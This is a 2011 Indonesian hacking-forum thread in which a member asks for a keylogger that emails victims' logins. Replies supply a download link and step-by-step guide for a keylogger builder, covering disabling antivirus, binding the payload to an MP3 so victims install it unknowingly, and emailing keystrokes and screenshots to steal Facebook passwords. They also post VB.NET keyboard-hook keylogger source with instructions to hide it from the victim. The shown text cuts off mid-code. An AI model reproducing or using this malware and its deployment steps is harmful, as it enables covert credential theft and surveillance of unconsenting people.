Indonesian SWF Editor Community |
SELAMAT Datang Di Cmonhackns ===> Mulailah dari yang kecil... karena semua yang besar dulunya juga kecil..
|
| | [ask] Keylogger | |
| | Author | Message |
---|
cleon Sesepuh
Jumlah posting : 336 Join date : 2011-04-19 Age : 27 Lokasi : Idung PATRICK !
| Subject: [ask] Keylogger Sat Nov 12, 2011 2:50 pm | |
| all mau nanya nih, ada yg punya tutor buat keylogger gk?? ato minta source kodenya keylogger yang kalo ada yg login hasil loginnya kekirim lewat email ada yg punya gk?? pengen buat nih... plss ato keyloggernya aja juga boleh dech,.. jangan lupa kasi tau tutor nya juga ya
Last edited by cleon on Sun Nov 13, 2011 11:20 am; edited 1 time in total | |
| | | akechi Donatur
Jumlah posting : 141 Join date : 2011-01-24 Lokasi : di dunia maya
| Subject: Re: [ask] Keylogger Sat Nov 12, 2011 10:22 pm | |
| .disini kan ad tutor'a gan .tp cuma ad nma2 keylogger'a | |
| | | cleon Sesepuh
Jumlah posting : 336 Join date : 2011-04-19 Age : 27 Lokasi : Idung PATRICK !
| Subject: Re: [ask] Keylogger Sun Nov 13, 2011 11:21 am | |
| - akechi wrote:
- .disini kan ad tutor'a gan
.tp cuma ad nma2 keylogger'a tapi we mau source kodenya ama keyloggernya juga | |
| | | andree007 Warga Lama
Jumlah posting : 55 Join date : 2011-08-05 Age : 27
| Subject: Re: [ask] Keylogger Tue Nov 15, 2011 8:49 pm | |
| pakek REFOG keyLogger aja gan... | |
| | | akechi Donatur
Jumlah posting : 141 Join date : 2011-01-24 Lokasi : di dunia maya
| | | | cleon Sesepuh
Jumlah posting : 336 Join date : 2011-04-19 Age : 27 Lokasi : Idung PATRICK !
| Subject: Re: [ask] Keylogger Wed Nov 16, 2011 2:31 pm | |
| | |
| | | dinoamanur Warga Lama
Jumlah posting : 52 Join date : 2011-11-15 Age : 26 Lokasi : Di Rumah Gua
| | | | cleon Sesepuh
Jumlah posting : 336 Join date : 2011-04-19 Age : 27 Lokasi : Idung PATRICK !
| | | | bad rank Moderator
Jumlah posting : 489 Join date : 2011-08-24 Age : 29 Lokasi : Dalam Kehancuran...
| Subject: Re: [ask] Keylogger Fri Nov 18, 2011 12:30 pm | |
| - cleon wrote:
- dinoamanur wrote:
- oi agan mau banget nge hack deeeh kasiaaan orang lain gaaan
ada urusan pribadi nih,... kalo gk punya jangan ngikut coment dah forum ini aja namanya cmon HACKns... jd mslh hack gini biasa2 aja deh... kalo gg suka gg usah ikut komment donk... stuju bgt gue ama agan cleon... | |
| | | kilua Warga
Jumlah posting : 4 Join date : 2011-11-18
| Subject: Re: [ask] Keylogger Fri Nov 18, 2011 1:50 pm | |
| nih w ada keyloggers MANTAB!!! link download: 4shared.com/file/1G4xSo_C/Emissary_Keyloggers.html Features of Emissary Keylogger: -Dapat email semua Penekanan Tombol termasuk rincian login -Dapat mengirim screenshot Screen korban -Dapatkah Blok Website VirusScanning pada komputer korban -Dapatkah Disable TaskManager pada PC korban -Nonaktifkan Regedit dapat pada PC korban How to Use this Keylogger to hack Facebook Password? 1.Download Emissary keylogger Software dan ekstrak file ke desktop. Jika Anda Antivirus menghapus file, maka silakan belokan Antivirus atau uninstall dan coba download lagi. 2.Jalankan file 'Emissary.exe' dan masukkan rincian gmail account, sehingga password dan info lainnya korban Anda dapat dikirimkan kepada Anda. Jika Anda takut memasukkan rincian gmail Anda, lalu lakukan membuat satu account palsu sementara dan masukkan rincian. [You must be registered and logged in to see this image.]3.Setelah Anda memasukkan informasi Anda 'akun Gmail' Klik 'Test' untuk menguji koneksi ke account Gmail Anda. Di Bidang Nama server Anda dapat mengubah nama jika Anda inginkan. masukkan Interval Waktu di bidang interval. Timer ini mengendalikan interval waktu antara dua email keylogs. Anda juga dapat menampilkan pesan error palsu untuk Korban Anda ketika ia klik file server.exe Anda. untuk melakukannya masukkan judul dan deskripsi kesalahan di lapangan 'pesan error palsu'. [You must be registered and logged in to see this image.]4.Sekarang setelah mengisi bidang yang diperlukan, klik tombol 'Membangun'. Ini akan membuat file lain yang disebut server.exe dalam direktori yang sama. 5.Sekarang mengirim file server.exe untuk korban dan membuatnya menginstalnya pada komputer. Anda dapat menggunakan Binder atau crypter untuk mengikat file ini server.exe dengan mengatakan file. Mp3 sehingga setiap kali korban menjalankan file mp3, server secara otomatis terinstal di komputer tanpa pengetahuannya. [You must be registered and logged in to see this image.]6.Setelah korban menjalankan file keylogger dikirim pada komputer Anda, akan mencari semua username dan password yang tersimpan dan akan mengirimkan email berisi semua keylogs dan screenshot secara teratur setelah 'Interval Waktu' yang ditentukan. [You must be registered and logged in to see this image.]----SELAMAT MENCOBA---- | |
| | | Ryan San Rakagi Moderator
Jumlah posting : 260 Join date : 2011-04-19 Age : 29 Lokasi : CIREBON
| Subject: Re: [ask] Keylogger Fri Nov 18, 2011 1:58 pm | |
| - cleon wrote:
- all mau nanya nih,
ada yg punya tutor buat keylogger gk?? ato minta source kodenya keylogger yang kalo ada yg login hasil loginnya kekirim lewat email ada yg punya gk?? pengen buat nih... plss ato keyloggernya aja juga boleh dech,.. jangan lupa kasi tau tutor nya juga ya
neh gan kebetulan ane msh ada source bikin keylogger silahkan di coba membuat keylogger sendiri pasti seru ,karena bisa dibuat untuk menjaili teman,kaya' ngerekam tulisan apa aja yg diketik... komponen VB 2010 : 1) 1 Timer 2) 1 TextBox 3) 2 Label ========= Aplikasi ini terdeteksi sebagai virus,jadi antivirusnya di disable dulu 1) Susun dan ganti Nama komponen diatas seperti gambar dibawah ini : [You must be registered and logged in to see this image.]1.5) Klik 1 kali pada Form1 ,dan kemudian pada kotak Properties(pojok kanan bawah) cari tabel ShowInTaskBar,dan ganti menjadi False. lihat gambar berikut : [You must be registered and logged in to see this image.]2) Klik 1 kali lagi pada Form1 dan pada kotak Properties(pojok kanan bawah) cari tabel ShowIcon,dan ganti menjadi False. gunanya untuk menyembunyikan icon pada saat keylogging dibuka,agar si korban tidak curiga [You must be registered and logged in to see this image.]3) Setelah itu,klik 2 kali pada Form1 atau tekan F7,dan km akan liat scripts kaya gini : - Code:
-
Public Class Form1
End Class 4) Scripts kaya diatas kita hapus semua,maka tampilan pengcodean akan kosong berwarna putih persih 5) Setelah scripts kaya diatas dah dihapus semua,masukkan scripts berikut : - Code:
-
Public Class Form1 Public Class KeyboardHook Private Const HC_ACTION As Integer = 0 Private Const WH_KEYBOARD_LL As Integer = 13 Private Const WM_KEYDOWN = &H100 Private Const WM_KEYUP = &H101 Private Const WM_SYSKEYDOWN = &H104 Private Const WM_SYSKEYUP = &H105
Private Structure KBDLLHOOKSTRUCT Public vkCode As Integer Public scancode As Integer Public flags As Integer Public time As Integer Public dwExtraInfo As Integer End Structure
Private Declare Function SetWindowsHookEx Lib "user32" _ Alias "SetWindowsHookExA" _ (ByVal idHook As Integer, _ ByVal lpfn As KeyboardProcDelegate, _ ByVal hmod As Integer, _ ByVal dwThreadId As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" _ (ByVal hHook As Integer, _ ByVal nCode As Integer, _ ByVal wParam As Integer, _ ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Declare Function UnhookWindowsHookEx Lib "user32" _ (ByVal hHook As Integer) As Integer
Private Delegate Function KeyboardProcDelegate _ (ByVal nCode As Integer, _ ByVal wParam As Integer, _ ByRef lParam As KBDLLHOOKSTRUCT) As Integer
Public Shared Event KeyDown(ByVal Key As Keys) Public Shared Event KeyUp(ByVal Key As Keys)
Private Shared KeyHook As Integer
Private Shared KeyHookDelegate As KeyboardProcDelegate
Public Sub New()
KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc) KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0) End Sub
Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
If (nCode = HC_ACTION) Then Select Case wParam
Case WM_KEYDOWN, WM_SYSKEYDOWN
RaiseEvent KeyDown(CType(lParam.vkCode, Keys)) Case WM_KEYUP, WM_SYSKEYUP
RaiseEvent KeyUp(CType(lParam.vkCode, Keys)) End Select End If
Return CallNextHookEx(KeyHook, nCode, wParam, lParam) End Function Protected Overrides Sub Finalize()
UnhookWindowsHookEx(KeyHook) MyBase.Finalize() End Sub End Class Private WithEvents kbHook As New KeyboardHook Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32 Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32 Dim strin As String = Nothing Private Function GetActiveWindowTitle() As String Dim MyStr As String MyStr = New String(Chr(0), 100) GetWindowText(GetForegroundWindow, MyStr, 100) MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1) Return MyStr End Function Sub shiftandcaps(ByVal Key As System.Windows.Forms.Keys) Handles kbHook.KeyDown If My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = False Then If Key = Keys.A Then TextBox1.Text = TextBox1.Text & "a" ElseIf Key = Keys.B Then TextBox1.Text = TextBox1.Text & "b" ElseIf Key = Keys.C Then TextBox1.Text = TextBox1.Text & "c" ElseIf Key = Keys.D Then TextBox1.Text = TextBox1.Text & "d" ElseIf Key = Keys.E Then TextBox1.Text = TextBox1.Text & "e" ElseIf Key = Keys.F Then TextBox1.Text = TextBox1.Text & "f" ElseIf Key = Keys.G Then TextBox1.Text = TextBox1.Text & "g" ElseIf Key = Keys.H Then TextBox1.Text = TextBox1.Text & "h" ElseIf Key = Keys.I Then TextBox1.Text = TextBox1.Text & "i" ElseIf Key = Keys.J Then TextBox1.Text = TextBox1.Text & "j" ElseIf Key = Keys.K Then TextBox1.Text = TextBox1.Text & "k" ElseIf Key = Keys.L Then TextBox1.Text = TextBox1.Text & "l" ElseIf Key = Keys.M Then TextBox1.Text = TextBox1.Text & "m" ElseIf Key = Keys.N Then TextBox1.Text = TextBox1.Text & "n" ElseIf Key = Keys.O Then TextBox1.Text = TextBox1.Text & "o" ElseIf Key = Keys.P Then TextBox1.Text = TextBox1.Text & "p" ElseIf Key = Keys.Q Then TextBox1.Text = TextBox1.Text & "q" ElseIf Key = Keys.R Then TextBox1.Text = TextBox1.Text & "r" ElseIf Key = Keys.S Then TextBox1.Text = TextBox1.Text & "s" ElseIf Key = Keys.T Then TextBox1.Text = TextBox1.Text & "t" ElseIf Key = Keys.U Then TextBox1.Text = TextBox1.Text & "u" ElseIf Key = Keys.V Then TextBox1.Text = TextBox1.Text & "v" ElseIf Key = Keys.W Then TextBox1.Text = TextBox1.Text & "w" ElseIf Key = Keys.X Then TextBox1.Text = TextBox1.Text & "x" ElseIf Key = Keys.Y Then TextBox1.Text = TextBox1.Text & "y" ElseIf Key = Keys.Z Then TextBox1.Text = TextBox1.Text & "z" ElseIf Key = Keys.D0 Then TextBox1.Text = TextBox1.Text & "0" ElseIf Key = Keys.D1 Then TextBox1.Text = TextBox1.Text & "1" ElseIf Key = Keys.D2 Then TextBox1.Text = TextBox1.Text & "2" ElseIf Key = Keys.D3 Then TextBox1.Text = TextBox1.Text & "3" ElseIf Key = Keys.D4 Then TextBox1.Text = TextBox1.Text & "4" ElseIf Key = Keys.D5 Then TextBox1.Text = TextBox1.Text & "5" ElseIf Key = Keys.D6 Then TextBox1.Text = TextBox1.Text & "6" ElseIf Key = Keys.D7 Then TextBox1.Text = TextBox1.Text & "7" ElseIf Key = Keys.D8 Then TextBox1.Text = TextBox1.Text & "8" ElseIf Key = Keys.D9 Then TextBox1.Text = TextBox1.Text & "9" ElseIf Key = Keys.NumPad0 Then TextBox1.Text = TextBox1.Text & "0" ElseIf Key = Keys.NumPad1 Then TextBox1.Text = TextBox1.Text & "1" ElseIf Key = Keys.NumPad2 Then TextBox1.Text = TextBox1.Text & "2" ElseIf Key = Keys.NumPad3 Then TextBox1.Text = TextBox1.Text & "3" ElseIf Key = Keys.NumPad4 Then TextBox1.Text = TextBox1.Text & "4" ElseIf Key = Keys.NumPad5 Then TextBox1.Text = TextBox1.Text & "5" ElseIf Key = Keys.NumPad6 Then TextBox1.Text = TextBox1.Text & "6" ElseIf Key = Keys.NumPad7 Then TextBox1.Text = TextBox1.Text & "7" ElseIf Key = Keys.NumPad8 Then TextBox1.Text = TextBox1.Text & "8" ElseIf Key = Keys.NumPad9 Then TextBox1.Text = TextBox1.Text & "9" ElseIf Key = Keys.Oemcomma Then TextBox1.Text = TextBox1.Text & "," ElseIf Key = Keys.OemMinus Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.OemQuotes Then TextBox1.Text = TextBox1.Text & "'" ElseIf Key = Keys.OemOpenBrackets Then TextBox1.Text = TextBox1.Text & "[" ElseIf Key = Keys.OemCloseBrackets Then TextBox1.Text = TextBox1.Text & "]" ElseIf Key = Keys.OemQuestion Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.OemPipe Then TextBox1.Text = TextBox1.Text & "\" ElseIf Key = Keys.Oem1 Then TextBox1.Text = TextBox1.Text & ";" ElseIf Key = Keys.OemPeriod Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Oemtilde Then TextBox1.Text = TextBox1.Text & "`" ElseIf Key = Keys.Space Then TextBox1.Text = TextBox1.Text & " " ElseIf Key = Keys.Enter Then TextBox1.Text = TextBox1.Text & vbNewLine ElseIf Key = Keys.F1 Then TextBox1.Text = TextBox1.Text & "[F1]" ElseIf Key = Keys.F2 Then TextBox1.Text = TextBox1.Text & "[F2]" ElseIf Key = Keys.F3 Then TextBox1.Text = TextBox1.Text & "[F3]" ElseIf Key = Keys.F4 Then TextBox1.Text = TextBox1.Text & "[F4]" ElseIf Key = Keys.F5 Then TextBox1.Text = TextBox1.Text & "[F5]" ElseIf Key = Keys.F6 Then TextBox1.Text = TextBox1.Text & "[F6]" ElseIf Key = Keys.F7 Then TextBox1.Text = TextBox1.Text & "[F7]" ElseIf Key = Keys.F8 Then TextBox1.Text = TextBox1.Text & "[F8]" ElseIf Key = Keys.F9 Then TextBox1.Text = TextBox1.Text & "[F9]" ElseIf Key = Keys.F10 Then TextBox1.Text = TextBox1.Text & "[F10]" ElseIf Key = Keys.F11 Then TextBox1.Text = TextBox1.Text & "[F11]" ElseIf Key = Keys.F12 Then TextBox1.Text = TextBox1.Text & "[F12]" ElseIf Key = Keys.Delete Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Back Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Down Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Up Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Left Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Right Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Tab Then TextBox1.Text = TextBox1.Text & "[TAB]" ElseIf Key = Keys.End Then TextBox1.Text = TextBox1.Text & "[END]" ElseIf Key = Keys.Escape Then TextBox1.Text = TextBox1.Text & "[ESC]" ElseIf Key = Keys.Divide Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.Decimal Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Subtract Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.Add Then TextBox1.Text = TextBox1.Text & "+" ElseIf Key = Keys.Multiply Then TextBox1.Text = TextBox1.Text & "*" End If ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then If Key = Keys.A Then TextBox1.Text = TextBox1.Text & "A" ElseIf Key = Keys.B Then TextBox1.Text = TextBox1.Text & "B" ElseIf Key = Keys.C Then TextBox1.Text = TextBox1.Text & "C" ElseIf Key = Keys.D Then TextBox1.Text = TextBox1.Text & "D" ElseIf Key = Keys.E Then TextBox1.Text = TextBox1.Text & "E" ElseIf Key = Keys.F Then TextBox1.Text = TextBox1.Text & "F" ElseIf Key = Keys.G Then TextBox1.Text = TextBox1.Text & "G" ElseIf Key = Keys.H Then TextBox1.Text = TextBox1.Text & "H" ElseIf Key = Keys.I Then TextBox1.Text = TextBox1.Text & "I" ElseIf Key = Keys.J Then TextBox1.Text = TextBox1.Text & "J" ElseIf Key = Keys.K Then TextBox1.Text = TextBox1.Text & "K" ElseIf Key = Keys.L Then TextBox1.Text = TextBox1.Text & "L" ElseIf Key = Keys.M Then TextBox1.Text = TextBox1.Text & "M" ElseIf Key = Keys.N Then TextBox1.Text = TextBox1.Text & "N" ElseIf Key = Keys.O Then TextBox1.Text = TextBox1.Text & "O" ElseIf Key = Keys.P Then TextBox1.Text = TextBox1.Text & "P" ElseIf Key = Keys.Q Then TextBox1.Text = TextBox1.Text & "Q" ElseIf Key = Keys.R Then TextBox1.Text = TextBox1.Text & "R" ElseIf Key = Keys.S Then TextBox1.Text = TextBox1.Text & "S" ElseIf Key = Keys.T Then TextBox1.Text = TextBox1.Text & "T" ElseIf Key = Keys.U Then TextBox1.Text = TextBox1.Text & "U" ElseIf Key = Keys.V Then TextBox1.Text = TextBox1.Text & "V" ElseIf Key = Keys.W Then TextBox1.Text = TextBox1.Text & "W" ElseIf Key = Keys.X Then TextBox1.Text = TextBox1.Text & "X" ElseIf Key = Keys.Y Then TextBox1.Text = TextBox1.Text & "Y" ElseIf Key = Keys.Z Then TextBox1.Text = TextBox1.Text & "Z" ElseIf Key = Keys.D0 Then TextBox1.Text = TextBox1.Text & "0" ElseIf Key = Keys.D1 Then TextBox1.Text = TextBox1.Text & "1" ElseIf Key = Keys.D2 Then TextBox1.Text = TextBox1.Text & "2" ElseIf Key = Keys.D3 Then TextBox1.Text = TextBox1.Text & "3" ElseIf Key = Keys.D4 Then TextBox1.Text = TextBox1.Text & "4" ElseIf Key = Keys.D5 Then TextBox1.Text = TextBox1.Text & "5" ElseIf Key = Keys.D6 Then TextBox1.Text = TextBox1.Text & "6" ElseIf Key = Keys.D7 Then TextBox1.Text = TextBox1.Text & "7" ElseIf Key = Keys.D8 Then TextBox1.Text = TextBox1.Text & "8" ElseIf Key = Keys.D9 Then TextBox1.Text = TextBox1.Text & "9" ElseIf Key = Keys.NumPad0 Then TextBox1.Text = TextBox1.Text & "0" ElseIf Key = Keys.NumPad1 Then TextBox1.Text = TextBox1.Text & "1" ElseIf Key = Keys.NumPad2 Then TextBox1.Text = TextBox1.Text & "2" ElseIf Key = Keys.NumPad3 Then TextBox1.Text = TextBox1.Text & "3" ElseIf Key = Keys.NumPad4 Then TextBox1.Text = TextBox1.Text & "4" ElseIf Key = Keys.NumPad5 Then TextBox1.Text = TextBox1.Text & "5" ElseIf Key = Keys.NumPad6 Then TextBox1.Text = TextBox1.Text & "6" ElseIf Key = Keys.NumPad7 Then TextBox1.Text = TextBox1.Text & "7" ElseIf Key = Keys.NumPad8 Then TextBox1.Text = TextBox1.Text & "8" ElseIf Key = Keys.NumPad9 Then TextBox1.Text = TextBox1.Text & "9" ElseIf Key = Keys.Oemcomma Then TextBox1.Text = TextBox1.Text & "," ElseIf Key = Keys.OemMinus Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.OemQuotes Then TextBox1.Text = TextBox1.Text & "'" ElseIf Key = Keys.OemOpenBrackets Then TextBox1.Text = TextBox1.Text & "[" ElseIf Key = Keys.OemCloseBrackets Then TextBox1.Text = TextBox1.Text & "]" ElseIf Key = Keys.OemQuestion Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.OemPipe Then TextBox1.Text = TextBox1.Text & "\" ElseIf Key = Keys.Oem1 Then TextBox1.Text = TextBox1.Text & ";" ElseIf Key = Keys.OemPeriod Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Oemtilde Then TextBox1.Text = TextBox1.Text & "`" ElseIf Key = Keys.Space Then TextBox1.Text = TextBox1.Text & " " ElseIf Key = Keys.Enter Then TextBox1.Text = TextBox1.Text & vbNewLine ElseIf Key = Keys.F1 Then TextBox1.Text = TextBox1.Text & "[F1]" ElseIf Key = Keys.F2 Then TextBox1.Text = TextBox1.Text & "[F2]" ElseIf Key = Keys.F3 Then TextBox1.Text = TextBox1.Text & "[F3]" ElseIf Key = Keys.F4 Then TextBox1.Text = TextBox1.Text & "[F4]" ElseIf Key = Keys.F5 Then TextBox1.Text = TextBox1.Text & "[F5]" ElseIf Key = Keys.F6 Then TextBox1.Text = TextBox1.Text & "[F6]" ElseIf Key = Keys.F7 Then TextBox1.Text = TextBox1.Text & "[F7]" ElseIf Key = Keys.F8 Then TextBox1.Text = TextBox1.Text & "[F8]" ElseIf Key = Keys.F9 Then TextBox1.Text = TextBox1.Text & "[F9]" ElseIf Key = Keys.F10 Then TextBox1.Text = TextBox1.Text & "[F10]" ElseIf Key = Keys.F11 Then TextBox1.Text = TextBox1.Text & "[F11]" ElseIf Key = Keys.F12 Then TextBox1.Text = TextBox1.Text & "[F12]" ElseIf Key = Keys.Delete Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Back Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Down Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Up Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Left Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Right Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Tab Then TextBox1.Text = TextBox1.Text & "[TAB]" ElseIf Key = Keys.End Then TextBox1.Text = TextBox1.Text & "[END]" ElseIf Key = Keys.Escape Then TextBox1.Text = TextBox1.Text & "[ESC]" ElseIf Key = Keys.Divide Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.Decimal Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Subtract Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.Add Then TextBox1.Text = TextBox1.Text & "+" ElseIf Key = Keys.Multiply Then TextBox1.Text = TextBox1.Text & "*" End If ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = True Then If Key = Keys.D1 Then TextBox1.Text = TextBox1.Text + "!" ElseIf Key = Keys.D2 Then TextBox1.Text = TextBox1.Text + "@" ElseIf Key = Keys.D3 Then TextBox1.Text = TextBox1.Text + "#" ElseIf Key = Keys.D4 Then TextBox1.Text = TextBox1.Text + "$" ElseIf Key = Keys.D5 Then TextBox1.Text = TextBox1.Text + "%" ElseIf Key = Keys.D6 Then TextBox1.Text = TextBox1.Text + "^" ElseIf Key = Keys.D7 Then TextBox1.Text = TextBox1.Text + "&" ElseIf Key = Keys.D8 Then TextBox1.Text = TextBox1.Text + "*" ElseIf Key = Keys.D9 Then TextBox1.Text = TextBox1.Text + "(" ElseIf Key = Keys.D0 Then TextBox1.Text = TextBox1.Text + ")" ElseIf Key = Keys.A Then TextBox1.Text = TextBox1.Text & "A" ElseIf Key = Keys.B Then TextBox1.Text = TextBox1.Text & "B" ElseIf Key = Keys.C Then TextBox1.Text = TextBox1.Text & "C" ElseIf Key = Keys.D Then TextBox1.Text = TextBox1.Text & "D" ElseIf Key = Keys.E Then TextBox1.Text = TextBox1.Text & "E" ElseIf Key = Keys.F Then TextBox1.Text = TextBox1.Text & "F" ElseIf Key = Keys.G Then TextBox1.Text = TextBox1.Text & "G" ElseIf Key = Keys.H Then TextBox1.Text = TextBox1.Text & "H" ElseIf Key = Keys.I Then TextBox1.Text = TextBox1.Text & "I" ElseIf Key = Keys.J Then TextBox1.Text = TextBox1.Text & "J" ElseIf Key = Keys.K Then TextBox1.Text = TextBox1.Text & "K" ElseIf Key = Keys.L Then TextBox1.Text = TextBox1.Text & "L" ElseIf Key = Keys.M Then TextBox1.Text = TextBox1.Text & "M" ElseIf Key = Keys.N Then TextBox1.Text = TextBox1.Text & "N" ElseIf Key = Keys.O Then TextBox1.Text = TextBox1.Text & "O" ElseIf Key = Keys.P Then TextBox1.Text = TextBox1.Text & "P" ElseIf Key = Keys.Q Then TextBox1.Text = TextBox1.Text & "Q" ElseIf Key = Keys.R Then TextBox1.Text = TextBox1.Text & "R" ElseIf Key = Keys.S Then TextBox1.Text = TextBox1.Text & "S" ElseIf Key = Keys.T Then TextBox1.Text = TextBox1.Text & "T" ElseIf Key = Keys.U Then TextBox1.Text = TextBox1.Text & "U" ElseIf Key = Keys.V Then TextBox1.Text = TextBox1.Text & "V" ElseIf Key = Keys.W Then TextBox1.Text = TextBox1.Text & "W" ElseIf Key = Keys.X Then TextBox1.Text = TextBox1.Text & "X" ElseIf Key = Keys.Y Then TextBox1.Text = TextBox1.Text & "Y" ElseIf Key = Keys.Z Then TextBox1.Text = TextBox1.Text & "Z" ElseIf Key = Keys.Oemcomma Then TextBox1.Text = TextBox1.Text & "<" ElseIf Key = Keys.OemMinus Then TextBox1.Text = TextBox1.Text & "_" ElseIf Key = Keys.OemOpenBrackets Then TextBox1.Text = TextBox1.Text & "{" ElseIf Key = Keys.OemCloseBrackets Then TextBox1.Text = TextBox1.Text & "}" ElseIf Key = Keys.OemQuestion Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.OemPipe Then TextBox1.Text = TextBox1.Text & "|" ElseIf Key = Keys.Oem1 Then TextBox1.Text = TextBox1.Text & ":" ElseIf Key = Keys.OemPeriod Then TextBox1.Text = TextBox1.Text & ">" ElseIf Key = Keys.Oemtilde Then TextBox1.Text = TextBox1.Text & "~" ElseIf Key = Keys.OemQuotes Then TextBox1.Text = TextBox1.Text & Label1.Text ElseIf Key = Keys.Space Then TextBox1.Text = TextBox1.Text & " " ElseIf Key = Keys.Enter Then TextBox1.Text = TextBox1.Text & vbNewLine ElseIf Key = Keys.F1 Then TextBox1.Text = TextBox1.Text & "[F1]" ElseIf Key = Keys.F2 Then TextBox1.Text = TextBox1.Text & "[F2]" ElseIf Key = Keys.F3 Then TextBox1.Text = TextBox1.Text & "[F3]" ElseIf Key = Keys.F4 Then TextBox1.Text = TextBox1.Text & "[F4]" ElseIf Key = Keys.F5 Then TextBox1.Text = TextBox1.Text & "[F5]" ElseIf Key = Keys.F6 Then TextBox1.Text = TextBox1.Text & "[F6]" ElseIf Key = Keys.F7 Then TextBox1.Text = TextBox1.Text & "[F7]" ElseIf Key = Keys.F8 Then TextBox1.Text = TextBox1.Text & "[F8]" ElseIf Key = Keys.F9 Then TextBox1.Text = TextBox1.Text & "[F9]" ElseIf Key = Keys.F10 Then TextBox1.Text = TextBox1.Text & "[F10]" ElseIf Key = Keys.F11 Then TextBox1.Text = TextBox1.Text & "[F11]" ElseIf Key = Keys.F12 Then TextBox1.Text = TextBox1.Text & "[F12]" ElseIf Key = Keys.Delete Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Back Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Down Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Up Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Left Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Right Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Tab Then TextBox1.Text = TextBox1.Text & "[TAB]" ElseIf Key = Keys.End Then TextBox1.Text = TextBox1.Text & "[END]" ElseIf Key = Keys.Escape Then TextBox1.Text = TextBox1.Text & "[ESC]" ElseIf Key = Keys.Divide Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.Decimal Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Subtract Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.Add Then TextBox1.Text = TextBox1.Text & "+" ElseIf Key = Keys.Multiply Then TextBox1.Text = TextBox1.Text & "*" End If ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then If Key = Keys.D1 Then TextBox1.Text = TextBox1.Text + "1" ElseIf Key = Keys.D2 Then TextBox1.Text = TextBox1.Text + "2" ElseIf Key = Keys.D3 Then TextBox1.Text = TextBox1.Text + "3" ElseIf Key = Keys.D4 Then TextBox1.Text = TextBox1.Text + "4" ElseIf Key = Keys.D5 Then TextBox1.Text = TextBox1.Text + "5" ElseIf Key = Keys.D6 Then TextBox1.Text = TextBox1.Text + "6" ElseIf Key = Keys.D7 Then TextBox1.Text = TextBox1.Text + "7" ElseIf Key = Keys.D8 Then TextBox1.Text = TextBox1.Text + "8" ElseIf Key = Keys.D9 Then TextBox1.Text = TextBox1.Text + "9" ElseIf Key = Keys.D0 Then TextBox1.Text = TextBox1.Text + "0" ElseIf Key = Keys.A Then TextBox1.Text = TextBox1.Text & "a" ElseIf Key = Keys.B Then TextBox1.Text = TextBox1.Text & "b" ElseIf Key = Keys.C Then TextBox1.Text = TextBox1.Text & "c" ElseIf Key = Keys.D Then TextBox1.Text = TextBox1.Text & "d" ElseIf Key = Keys.E Then TextBox1.Text = TextBox1.Text & "e" ElseIf Key = Keys.F Then TextBox1.Text = TextBox1.Text & "f" ElseIf Key = Keys.G Then TextBox1.Text = TextBox1.Text & "g" ElseIf Key = Keys.H Then TextBox1.Text = TextBox1.Text & "h" ElseIf Key = Keys.I Then TextBox1.Text = TextBox1.Text & "i" ElseIf Key = Keys.J Then TextBox1.Text = TextBox1.Text & "j" ElseIf Key = Keys.K Then TextBox1.Text = TextBox1.Text & "k" ElseIf Key = Keys.L Then TextBox1.Text = TextBox1.Text & "l" ElseIf Key = Keys.M Then TextBox1.Text = TextBox1.Text & "m" ElseIf Key = Keys.N Then TextBox1.Text = TextBox1.Text & "n" ElseIf Key = Keys.O Then 